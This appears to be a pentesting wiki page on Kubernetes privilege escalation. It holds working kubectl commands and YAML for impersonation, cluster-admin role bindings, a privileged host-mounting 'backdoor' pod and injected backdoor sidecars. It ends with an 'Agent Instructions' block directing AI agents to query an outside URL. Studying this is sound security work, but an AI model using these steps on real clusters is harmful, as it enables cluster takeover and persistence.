# Privilege Escalation

## Overview

Once initial access is gained to a Kubernetes cluster, the next critical phase involves escalating privileges to gain broader access to cluster resources. This section focuses on exploiting Role-Based Access Control (RBAC) misconfigurations, service account abuse, and various privilege escalation techniques specific to Kubernetes environments.

{% hint style="info" %}
Since Kubernetes relies on declarative YAML manifests, access to resource definitions or Helm charts can be enough to embed privilege escalation and persistence mechanisms directly into the cluster configuration. By modifying these files, we can explicitly define insecure settings, backdoors, or overly privileged resources that become applied automatically when the configuration is deployed.
{% endhint %}

***

## RBAC Architecture Understanding

Before trying to exploit the RBAC model inside K8S we need to understand the hierarchy behind it.

### **RBAC Components**

```yaml
# RBAC Hierarchy
ClusterRole/Role → ClusterRoleBinding/RoleBinding → Subject (User/Group/ServiceAccount)
```

**Key RBAC Objects:**

* **Role**: Permissions within a specific namespace
* **ClusterRole**: Cluster-wide permissions
* **RoleBinding**: Binds Role to subjects within namespace
* **ClusterRoleBinding**: Binds ClusterRole to subjects cluster-wide
* **ServiceAccount**: Pod identity for API access

#### **Permission Model**

Since K8S uses declarative syntax, the `.yml` file containing the permission definition should look like this:

```yaml
# Permission structure
rules:
- apiGroups: [""]
  resources: ["pods", "secrets"]
  verbs: ["get", "list", "create", "delete"]
  resourceNames: ["specific-resource"]  # Optional
```

***

## Service Account Token Abuse

Service account impersonation allows us to act as another user or service account by abusing Kubernetes API impersonation features. If the attacker’s current identity is **permitted to impersonate other principals**, they can directly assume higher-privileged identities and access sensitive resources without stealing credentials, leading to rapid privilege escalation.

```bash
# Impersonate service account
kubectl --as=system:serviceaccount:kube-system:default get secrets

# Impersonate user
kubectl --as=admin --as-group=system:masters get nodes

# Test impersonation permissions
kubectl auth can-i create pods --as=system:serviceaccount:default:default
```

***

## RBAC Misconfiguration Exploitation

RBAC misconfiguration exploitation occurs when an we have permission to create or modify RoleBindings or ClusterRoleBindings. By binding our own service account to highly privileged roles such as cluster-admin, either imperatively or via malicious YAML manifests, we can escalate privileges and gain full control over the cluster.

**Creating Malicious RoleBindings:**

```bash
# Create cluster-admin binding for current service account
kubectl create clusterrolebinding infiltr8-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

# Create namespace admin binding
kubectl create rolebinding namespace-admin \
  --clusterrole=admin \
  --serviceaccount=default:default \
  --namespace=kube-system
```

**YAML-based Privilege Escalation**

```yaml
# Malicious ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: infiltr8-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
---
# Custom ClusterRole with dangerous permissions
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: infiltr8-role
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
- nonResourceURLs: ["*"]
  verbs: ["*"]
```

***

## Pod Creation and Manipulation

Pod creation and manipulation enables us, with sufficient permissions, to execute code at a highly privileged level. By creating privileged pods with access to host namespaces and filesystems, we can break container isolation and interact directly with the underlying node.

Alternatively, modifying existing pods or deployments to inject backdoor or sidecar containers allows persistent access while blending into legitimate workloads, often without immediate detection.

### **Pod Creation**

**Check privileges:**

```bash
# Check pod creation privileges
kubectl --token=$token --certificate-authority=ca.crt \
        --server=https://$TARGET:8443 \
        auth can-i --list
```

**Create malicious manifest:**

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: privileged-backdoor
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  automountServiceAccountToken: true
  containers:
  - name: infiltr8
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 3600"]
    securityContext:
      privileged: true
      runAsUser: 0
    volumeMounts:
    - name: host-root
      mountPath: /host
      readOnly: false
    - name: host-proc
      mountPath: /host/proc
      readOnly: false
    - name: host-sys
      mountPath: /host/sys
      readOnly: false
  volumes:
  - name: host-root
    hostPath:
      path: /
  - name: host-proc
    hostPath:
      path: /proc
  - name: host-sys
    hostPath:
      path: /sys
  tolerations:
  - operator: Exists
```

Then create the new pod using `kubectl` and the stolen secrets :

```bash
# Deploy malicious pod from manifest.yaml
kubectl --token=$token --certificate-authority=ca.crt \ 
        --server=https://$TARGET:8443 \
        apply -f manifest.yaml 
```

### **Pod Modification and Injection**

Here by modifying an existing Pod deployment configuration we can add a new privileged container or a sidecar to gain:

```bash
# Patch existing deployment to add backdoor container
kubectl patch deployment <deployment_name> -p '
{
  "spec": {
    "template": {
      "spec": {
        "containers": [
          {
            "name": "infiltr8",
            "image": "alpine",
            "command": ["/bin/sh", "-c", "sleep 3600"],
            "securityContext": {"privileged": true}
          }
        ]
      }
    }
  }
}'

# Add sidecar container to existing pod
kubectl patch pod <pod_name> -p '
{
  "spec": {
    "containers": [
      {
        "name": "sidecar-backdoor",
        "image": "alpine",
        "command": ["/bin/sh", "-c", "sleep 3600"]
      }
    ]
  }
}'
```

***

## Note on Network Pivoting

Network pivoting is a mandatory step to **fully compromise a K8S cluster**. Tools such as Ligolo or Chisel allow us to tunnel traffic through compromised pods and reach internal services that are not exposed to the Internet.

{% hint style="info" %}
In this context, **ingress and egress configurations become allies** rather than obstacles, as they can be abused to route traffic through trusted paths.
{% endhint %}

For example, after compromising an Internet‑facing web pod, an attacker may use it as a pivot to obtain a reverse shell on an internal pod. If egress rules are misconfigured or overly permissive, the non‑exposed pod can initiate outbound connections through the proxy or gateway and successfully reach the attacker’s listener, enabling lateral movement inside the cluster.

Ligolo-ng (my go to tool):

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

{% embed url="<https://docs.ligolo.ng/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/cloud-cicd-pentesting/kubernetes/privesc-and-rbac-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
